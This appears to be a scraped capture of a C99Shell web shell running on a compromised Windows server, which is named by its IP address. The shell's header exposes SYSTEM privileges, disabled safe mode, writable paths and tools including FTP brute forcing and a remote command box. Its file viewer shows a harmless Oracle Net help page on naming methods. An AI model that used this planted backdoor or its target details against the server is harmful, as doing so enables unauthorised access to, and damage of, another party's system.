190.27.245.106 - c99shell

!C99Shell v. 1.0 pre-release build #13!
Software: Apache. PHP/5.5.15 uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 SYSTEM Safe-mode: OFF (not secure) E:\oracle\product\10.2.0\client_2\NETWORK\tools\help\ca\help\ drwxrwxrwx Free 4.94 GB of 239.26 GB (2.07%) Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ] Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!C99Shell v. 1.0 pre-release build #13!

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586

SYSTEM

Safe-mode: OFF (not secure)

E:\oracle\product\10.2.0\client_2\NETWORK\tools\help\ca\help\ drwxrwxrwx
Free 4.94 GB of 239.26 GB (2.07%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: Naming_Methods_Configuration_Ove.htm (10.01 KB) -rw-rw-rw-
Select action/file-type:
(+) |

(+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

Naming Methods Configuration Overview

Users initiate a connect request by passing a user name and password along with an connect identifier for the service to which they wish to connect. The connect identifier, which is mapped to a connect descriptor, is resolved by a naming method for the client. The connect descriptor contains the:

Network route to the service, including the location of the listener through a protocol address
Service name for an Oracle8i or later release database or Oracle System Identifier (SID) for an Oracle8 database

Once the connect identifier is resolved, the uses the network route information in the connect descriptor to contact a listener. The listener, through a protocol, accepts the client connection. It compares the client information with the information it has received from the database service, as well as information it has stored in its own configuration file, listener.ora. If the information matches, a connection is granted.

Naming method configuration consists of creating connect descriptors for services and configuring clients to access the naming method.

You can use Oracle Net Configuration Assistant to specify usage of the following naming methods in the sqlnet.ora file:

Method	Description
Local naming	Stores net service names in a tnsnames.ora file stored on a client Local naming is most appropriate for simple distributed networks with a small number of services that change infrequently.
Directory naming	Stores services and net service names in a centralized LDAP-compliant directory server
Easy connect naming	Enables clients to connect to a database server without any configuration. Clients use a connect string for a simple TCP/IP address, consisting of a host name and optional port number, service name, and instance name: `CONNECT username/password@host[:port][/service_name][/instance_name]` This method is recommended for simple TCP/IP environments.
External naming	Stores service information in an a third-party naming service, including Network Information Service (NIS) or Cell Directory Service (CDS)

:: Command execute ::
Enter:	Select: